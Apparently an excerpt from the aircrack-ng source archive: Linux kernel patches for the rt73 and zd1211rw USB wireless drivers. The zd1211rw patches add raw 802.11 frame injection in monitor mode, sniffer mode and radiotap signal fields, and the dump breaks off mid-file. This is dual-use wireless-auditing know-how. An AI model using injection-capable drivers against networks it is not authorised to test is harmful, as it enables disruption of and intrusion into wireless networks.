&unlink_wakeup; // maybe wait for deletions to finish. @@ -1618,35 +1618,35 @@ DBGPRINT (RT_DEBUG_INFO,"waited for %d urb to complete\n", atomic_read(&pAd->PendingRx)); } pAd->wait = NULL; - remove_wait_queue (&unlink_wakeup, &wait); + remove_wait_queue (&unlink_wakeup, &wait); - if (pAd->MLMEThr_pid >= 0) + if (pAd->MLMEThr_pid >= 0) { mlme_kill = 1; RTUSBMlmeUp(pAd); wmb(); // need to check ret = kill_proc (pAd->MLMEThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; Fix process killing } wait_for_completion (&pAd->notify); } - if (pAd->RTUSBCmdThr_pid>= 0) + if (pAd->RTUSBCmdThr_pid>= 0) { RTUSBCmd_kill = 1; RTUSBCMDUp(pAd); wmb(); // need to check ret = kill_proc (pAd->RTUSBCmdThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; Fix process killing } wait_for_completion (&pAd->notify); } - + RTUSBHalt(pAd, TRUE); DBGPRINT(RT_DEBUG_TRACE,"<--rt73_close\n"); @@ -1676,7 +1676,7 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - MlmeHandler(pAd); + MlmeHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); @@ -1703,7 +1703,7 @@ } #endif - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -1744,13 +1744,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - CMDHandler(pAd); + CMDHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -1771,12 +1771,12 @@ static void *usb_rtusb_probe(struct usb_device *dev, UINT interface, const struct usb_device_id *id_table) -{ +{ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; int i; struct net_device *netdev; int res = -ENOMEM; - + for (i = 0; i < rtusb_usb_id_len; i++) { if (le32_to_cpu(dev->descriptor.idVendor) == rtusb_usb_id[i].idVendor && @@ -1797,20 +1797,22 @@ if(!netdev) { printk("alloc_etherdev failed\n"); - + MOD_DEC_USE_COUNT; usb_dec_dev_use(dev); return NULL; } - + pAd = netdev->priv; pAd->net_dev = netdev; netif_stop_queue(netdev); pAd->config = dev->config; pAd->pUsb_Dev= dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAd->net_dev); +#endif ether_setup(pAd->net_dev); - + netdev->open = usb_rtusb_open; netdev->hard_start_xmit = RTMPSendPackets; netdev->stop = usb_rtusb_close; @@ -1826,22 +1828,24 @@ pAd->net_dev->hard_header_len = 14; pAd->net_dev->mtu = 1500; pAd->net_dev->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAd->net_dev->weight = 64; +#endif OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); - {// find available + {// find available int i=0; char slot_name[IFNAMSIZ]; struct net_device *device; - struct usb_interface *ifp= &dev->actconfig->interface[interface]; // get interface from system + struct usb_interface *ifp= &dev->actconfig->interface[interface]; // get interface from system struct usb_interface_descriptor *as; - struct usb_endpoint_descriptor *ep; + struct usb_endpoint_descriptor *ep; for (i = 0; i < 8; i++) { sprintf(slot_name, "rausb%d", i); - + read_lock_bh(&dev_base_lock); // avoid multiple init for (device = dev_base; device != NULL; device = device->next) { @@ -1876,13 +1880,13 @@ //pAd->rx_bh.data = (unsigned long)pAd; pAd->rx_bh.func = RTUSBRxPacket; - + res = register_netdev(pAd->net_dev); if (res) goto out; return pAd; - + out: printk("register_netdev failed err=%d\n",res); return NULL; @@ -1892,16 +1896,16 @@ static void usb_rtusb_disconnect(struct usb_device *dev, void *ptr) { PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) ptr; - + if (!pAd) return; - + tasklet_kill(&pAd->rx_bh); RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST); // for debug, wait to show some messages to /proc system udelay(1); - //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, + //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, //need to check why??? //assert(pAd->net_dev != NULL) if(pAd->net_dev != NULL) @@ -1926,19 +1930,19 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; int ret; int i = 0; - - DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); + + DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); DECLARE_WAITQUEUE (wait, current); - + DBGPRINT(RT_DEBUG_TRACE,"-->rt73_close \n"); - + netif_carrier_off(pAd->net_dev); netif_stop_queue(pAd->net_dev); - // ensure there are no more active urbs. + // ensure there are no more active urbs. add_wait_queue (&unlink_wakeup, &wait); pAd->wait = &unlink_wakeup; - + // maybe wait for deletions to finish. while ((i < 25) && atomic_read(&pAd->PendingRx) > 0) { #if LINUX_VERSION_CODE >KERNEL_VERSION(2,6,9) @@ -1948,28 +1952,28 @@ i++; } pAd->wait = NULL; - remove_wait_queue (&unlink_wakeup, &wait); + remove_wait_queue (&unlink_wakeup, &wait); - if (pAd->MLMEThr_pid >= 0) + if (pAd->MLMEThr_pid >= 0) { mlme_kill = 1; RTUSBMlmeUp(pAd); wmb(); // need to check ret = kill_proc (pAd->MLMEThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; } wait_for_completion (&pAd->notify); } - if (pAd->RTUSBCmdThr_pid>= 0) + if (pAd->RTUSBCmdThr_pid>= 0) { RTUSBCmd_kill = 1; RTUSBCMDUp(pAd); wmb(); // need to check ret = kill_proc (pAd->RTUSBCmdThr_pid, SIGTERM, 1); - if (ret) + if (ret) { printk (KERN_ERR "%s: unable to signal thread\n", pAd->net_dev->name); //return ret; @@ -1977,7 +1981,7 @@ wait_for_completion (&pAd->notify); } RTUSBHalt(pAd, TRUE); - + DBGPRINT(RT_DEBUG_TRACE,"<--rt73_close \n"); return 0; @@ -2008,13 +2012,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - MlmeHandler(pAd); + MlmeHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -2057,13 +2061,13 @@ /* lock the device pointers , need to check if required*/ down(&(pAd->usbdev_semaphore)); - CMDHandler(pAd); + CMDHandler(pAd); /* unlock the device pointers */ up(&(pAd->usbdev_semaphore)); } - /* notify the exit routine that we're actually exiting now + /* notify the exit routine that we're actually exiting now * * complete()/wait_for_completion() is similar to up()/down(), * except that complete() is safe in the case where the structure @@ -2082,7 +2086,7 @@ static int usb_rtusb_probe (struct usb_interface *intf, const struct usb_device_id *id) -{ +{ struct usb_device *dev = interface_to_usbdev(intf); PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; int i; @@ -2111,19 +2115,21 @@ if(!netdev) { printk("alloc_etherdev failed\n"); - + module_put(THIS_MODULE); return res; } - + pAd = netdev->priv; pAd->net_dev = netdev; netif_stop_queue(netdev); pAd->config = &dev->config->desc; pAd->pUsb_Dev = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAd->net_dev); +#endif ether_setup(pAd->net_dev); - + netdev->open = usb_rtusb_open; netdev->stop = usb_rtusb_close; netdev->priv = pAd; @@ -2141,7 +2147,9 @@ pAd->net_dev->hard_header_len = 14; pAd->net_dev->mtu = 1500; pAd->net_dev->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAd->net_dev->weight = 64; +#endif OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); @@ -2149,23 +2157,23 @@ pAd->RTUSBCmdThr_pid= -1; SET_NETDEV_DEV(pAd->net_dev, &intf->dev); - - {// find available + + {// find available int i=0; char slot_name[IFNAMSIZ]; //struct net_device *device; struct usb_host_interface *iface_desc; struct usb_endpoint_descriptor *endpoint; - + for (i = 0; i < 8; i++) { sprintf(slot_name, "rausb%d", i); -#if 1 - if(dev_get_by_name(slot_name)==NULL) +#if 1 + if(dev_get_by_name(&init_net, slot_name)==NULL) break; -#else +#else read_lock_bh(&dev_base_lock); // avoid multiple init for (device = dev_base; device != NULL; device = device->next) { @@ -2175,9 +2183,9 @@ } } read_unlock_bh(&dev_base_lock); - + if(device == NULL) break; -#endif +#endif } if(i == 8) { @@ -2194,18 +2202,18 @@ /* check out the endpoint: it has to be Interrupt & IN */ endpoint = &iface_desc->endpoint[i].desc; - + /* get Max Packet Size from endpoint */ pAd->BulkOutMaxPacketSize = (USHORT)endpoint->wMaxPacketSize; DBGPRINT(RT_DEBUG_TRACE, "BulkOutMaxPacketSize %d\n", pAd->BulkOutMaxPacketSize); } - + //bottom half data is assign at each task_scheduler //pAd->rx_bh.data = (unsigned long)pAd; pAd->rx_bh.func = RTUSBRxPacket; - + res = register_netdev(pAd->net_dev); if (res) goto out; @@ -2217,7 +2225,7 @@ usb_set_intfdata(intf, pAd); return 0; - + out: printk("register_netdev failed err=%d\n",res); free_netdev(netdev); @@ -2229,7 +2237,7 @@ { struct usb_device *dev = interface_to_usbdev(intf); PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; - + pAd = usb_get_intfdata(intf); usb_set_intfdata(intf, NULL); @@ -2238,11 +2246,11 @@ dev->bus->bus_name, dev->devpath); if (!pAd) return; - + tasklet_kill(&pAd->rx_bh); // for debug, wait to show some messages to /proc system udelay(1); - //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, + //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, //need to check why??? //assert(pAd->net_dev != NULL) if(pAd->net_dev!= NULL) @@ -2295,7 +2303,7 @@ udelay(1); udelay(1); usb_deregister(&rtusb_driver); - + printk("<=== rtusb exit\n"); } /**************************************/ aircrack-ng-1.2-rc4/patches/old/zd1211rw_inject_2.6.17.patch0000644000000000000000000001252510761053203021613 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-16 01:32:09.000000000 +0200 @@ -180,7 +180,16 @@ if (r < 0) goto disable_rx; + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -622,6 +631,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -645,7 +655,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -690,6 +703,7 @@ static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int i, r; for (i = 0; i < txb->nr_frags; i++) { @@ -698,7 +712,10 @@ r = fill_ctrlset(mac, txb, i); if (r) return r; - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) return r; } @@ -716,6 +733,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -729,7 +748,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -743,6 +764,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -834,7 +858,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } diff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2006-10-04 05:35:08.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-09 16:07:16.000000000 +0200 @@ -42,6 +42,7 @@ /* ZD1211B */ { USB_DEVICE(0x0ace, 0x1215), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x157e, 0x300d), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, {} }; @@ -805,6 +806,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-09 16:07:21.000000000 +0200 @@ -222,6 +222,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-rc4/patches/old/zd1211rw_inject_2.6.22.patch0000644000000000000000000012736510761053203021620 0ustar rootrootdiff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c 2007-08-23 22:51:27.000000000 +0200 @@ -156,8 +156,17 @@ static int reset_mode(struct zd_mac *mac) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); - u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + struct zd_ioreq32 ioreqs[] = { + { CR_RX_FILTER, STA_RX_FILTER }, + { CR_SNIFFER_ON, 0U }, + }; + + if (ieee->iw_mode == IW_MODE_MONITOR) { + ioreqs[0].value = 0xffffffff; + ioreqs[1].value = 0x1; + } + + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } int zd_mac_open(struct net_device *netdev) @@ -192,7 +201,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -825,6 +840,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -848,7 +864,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -904,7 +923,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -924,6 +947,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -937,7 +962,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -951,6 +978,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1057,7 +1087,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c~ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c~ --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_mac.c~ 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_mac.c~ 2007-08-23 22:26:08.000000000 +0200 @@ -0,0 +1,1352 @@ +/* zd_mac.c + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include +#include + +#include "zd_def.h" +#include "zd_chip.h" +#include "zd_mac.h" +#include "zd_ieee80211.h" +#include "zd_netdev.h" +#include "zd_rf.h" +#include "zd_util.h" + +static void ieee_init(struct ieee80211_device *ieee); +static void softmac_init(struct ieee80211softmac_device *sm); +static void set_rts_cts_work(struct work_struct *work); +static void set_basic_rates_work(struct work_struct *work); + +static void housekeeping_init(struct zd_mac *mac); +static void housekeeping_enable(struct zd_mac *mac); +static void housekeeping_disable(struct zd_mac *mac); + +static void set_multicast_hash_handler(struct work_struct *work); + +static void do_rx(unsigned long mac_ptr); + +int zd_mac_init(struct zd_mac *mac, + struct net_device *netdev, + struct usb_interface *intf) +{ + struct ieee80211_device *ieee = zd_netdev_ieee80211(netdev); + + memset(mac, 0, sizeof(*mac)); + spin_lock_init(&mac->lock); + mac->netdev = netdev; + INIT_DELAYED_WORK(&mac->set_rts_cts_work, set_rts_cts_work); + INIT_DELAYED_WORK(&mac->set_basic_rates_work, set_basic_rates_work); + + skb_queue_head_init(&mac->rx_queue); + tasklet_init(&mac->rx_tasklet, do_rx, (unsigned long)mac); + tasklet_disable(&mac->rx_tasklet); + + ieee_init(ieee); + softmac_init(ieee80211_priv(netdev)); + zd_chip_init(&mac->chip, netdev, intf); + housekeeping_init(mac); + INIT_WORK(&mac->set_multicast_hash_work, set_multicast_hash_handler); + return 0; +} + +static int reset_channel(struct zd_mac *mac) +{ + int r; + unsigned long flags; + const struct channel_range *range; + + spin_lock_irqsave(&mac->lock, flags); + range = zd_channel_range(mac->regdomain); + if (!range->start) { + r = -EINVAL; + goto out; + } + mac->requested_channel = range->start; + r = 0; +out: + spin_unlock_irqrestore(&mac->lock, flags); + return r; +} + +int zd_mac_init_hw(struct zd_mac *mac, u8 device_type) +{ + int r; + struct zd_chip *chip = &mac->chip; + u8 addr[ETH_ALEN]; + u8 default_regdomain; + + r = zd_chip_enable_int(chip); + if (r) + goto out; + r = zd_chip_init_hw(chip, device_type); + if (r) + goto disable_int; + + zd_get_e2p_mac_addr(chip, addr); + r = zd_write_mac_addr(chip, addr); + if (r) + goto disable_int; + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + memcpy(mac->netdev->dev_addr, addr, ETH_ALEN); + spin_unlock_irq(&mac->lock); + + r = zd_read_regdomain(chip, &default_regdomain); + if (r) + goto disable_int; + if (!zd_regdomain_supported(default_regdomain)) { + dev_dbg_f(zd_mac_dev(mac), + "Regulatory Domain %#04x is not supported.\n", + default_regdomain); + r = -EINVAL; + goto disable_int; + } + spin_lock_irq(&mac->lock); + mac->regdomain = mac->default_regdomain = default_regdomain; + spin_unlock_irq(&mac->lock); + r = reset_channel(mac); + if (r) + goto disable_int; + + /* We must inform the device that we are doing encryption/decryption in + * software at the moment. */ + r = zd_set_encryption_type(chip, ENC_SNIFFER); + if (r) + goto disable_int; + + r = zd_geo_init(zd_mac_to_ieee80211(mac), mac->regdomain); + if (r) + goto disable_int; + + r = 0; +disable_int: + zd_chip_disable_int(chip); +out: + return r; +} + +void zd_mac_clear(struct zd_mac *mac) +{ + flush_workqueue(zd_workqueue); + skb_queue_purge(&mac->rx_queue); + tasklet_kill(&mac->rx_tasklet); + zd_chip_clear(&mac->chip); + ZD_ASSERT(!spin_is_locked(&mac->lock)); + ZD_MEMCLEAR(mac, sizeof(struct zd_mac)); +} + +static int reset_mode(struct zd_mac *mac) +{ + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; + return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); +} + +int zd_mac_open(struct net_device *netdev) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + int r; + + tasklet_enable(&mac->rx_tasklet); + + r = zd_chip_enable_int(chip); + if (r < 0) + goto out; + + r = zd_chip_set_basic_rates(chip, CR_RATES_80211B | CR_RATES_80211G); + if (r < 0) + goto disable_int; + r = reset_mode(mac); + if (r) + goto disable_int; + r = zd_chip_switch_radio_on(chip); + if (r < 0) + goto disable_int; + r = zd_chip_set_channel(chip, mac->requested_channel); + if (r < 0) + goto disable_radio; + r = zd_chip_enable_rx(chip); + if (r < 0) + goto disable_radio; + r = zd_chip_enable_hwint(chip); + if (r < 0) + goto disable_rx; + + housekeeping_enable(mac); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + + return 0; +disable_rx: + zd_chip_disable_rx(chip); +disable_radio: + zd_chip_switch_radio_off(chip); +disable_int: + zd_chip_disable_int(chip); +out: + return r; +} + +int zd_mac_stop(struct net_device *netdev) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + + netif_stop_queue(netdev); + + /* + * The order here deliberately is a little different from the open() + * method, since we need to make sure there is no opportunity for RX + * frames to be processed by softmac after we have stopped it. + */ + + zd_chip_disable_rx(chip); + skb_queue_purge(&mac->rx_queue); + tasklet_disable(&mac->rx_tasklet); + housekeeping_disable(mac); + ieee80211softmac_stop(netdev); + + /* Ensure no work items are running or queued from this point */ + cancel_delayed_work(&mac->set_rts_cts_work); + cancel_delayed_work(&mac->set_basic_rates_work); + flush_workqueue(zd_workqueue); + mac->updating_rts_rate = 0; + mac->updating_basic_rates = 0; + + zd_chip_disable_hwint(chip); + zd_chip_switch_radio_off(chip); + zd_chip_disable_int(chip); + + return 0; +} + +int zd_mac_set_mac_address(struct net_device *netdev, void *p) +{ + int r; + unsigned long flags; + struct sockaddr *addr = p; + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + + if (!is_valid_ether_addr(addr->sa_data)) + return -EADDRNOTAVAIL; + + dev_dbg_f(zd_mac_dev(mac), + "Setting MAC to " MAC_FMT "\n", MAC_ARG(addr->sa_data)); + + r = zd_write_mac_addr(chip, addr->sa_data); + if (r) + return r; + + spin_lock_irqsave(&mac->lock, flags); + memcpy(netdev->dev_addr, addr->sa_data, ETH_ALEN); + spin_unlock_irqrestore(&mac->lock, flags); + + return 0; +} + +static void set_multicast_hash_handler(struct work_struct *work) +{ + struct zd_mac *mac = container_of(work, struct zd_mac, + set_multicast_hash_work); + struct zd_mc_hash hash; + + spin_lock_irq(&mac->lock); + hash = mac->multicast_hash; + spin_unlock_irq(&mac->lock); + + zd_chip_set_multicast_hash(&mac->chip, &hash); +} + +void zd_mac_set_multicast_list(struct net_device *dev) +{ + struct zd_mc_hash hash; + struct zd_mac *mac = zd_netdev_mac(dev); + struct dev_mc_list *mc; + unsigned long flags; + + if (dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) { + zd_mc_add_all(&hash); + } else { + zd_mc_clear(&hash); + for (mc = dev->mc_list; mc; mc = mc->next) { + dev_dbg_f(zd_mac_dev(mac), "mc addr " MAC_FMT "\n", + MAC_ARG(mc->dmi_addr)); + zd_mc_add_addr(&hash, mc->dmi_addr); + } + } + + spin_lock_irqsave(&mac->lock, flags); + mac->multicast_hash = hash; + spin_unlock_irqrestore(&mac->lock, flags); + queue_work(zd_workqueue, &mac->set_multicast_hash_work); +} + +int zd_mac_set_regdomain(struct zd_mac *mac, u8 regdomain) +{ + int r; + u8 channel; + + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + if (regdomain == 0) { + regdomain = mac->default_regdomain; + } + if (!zd_regdomain_supported(regdomain)) { + spin_unlock_irq(&mac->lock); + return -EINVAL; + } + mac->regdomain = regdomain; + channel = mac->requested_channel; + spin_unlock_irq(&mac->lock); + + r = zd_geo_init(zd_mac_to_ieee80211(mac), regdomain); + if (r) + return r; + if (!zd_regdomain_supports_channel(regdomain, channel)) { + r = reset_channel(mac); + if (r) + return r; + } + + return 0; +} + +u8 zd_mac_get_regdomain(struct zd_mac *mac) +{ + unsigned long flags; + u8 regdomain; + + spin_lock_irqsave(&mac->lock, flags); + regdomain = mac->regdomain; + spin_unlock_irqrestore(&mac->lock, flags); + return regdomain; +} + +/* Fallback to lowest rate, if rate is unknown. */ +static u8 rate_to_zd_rate(u8 rate) +{ + switch (rate) { + case 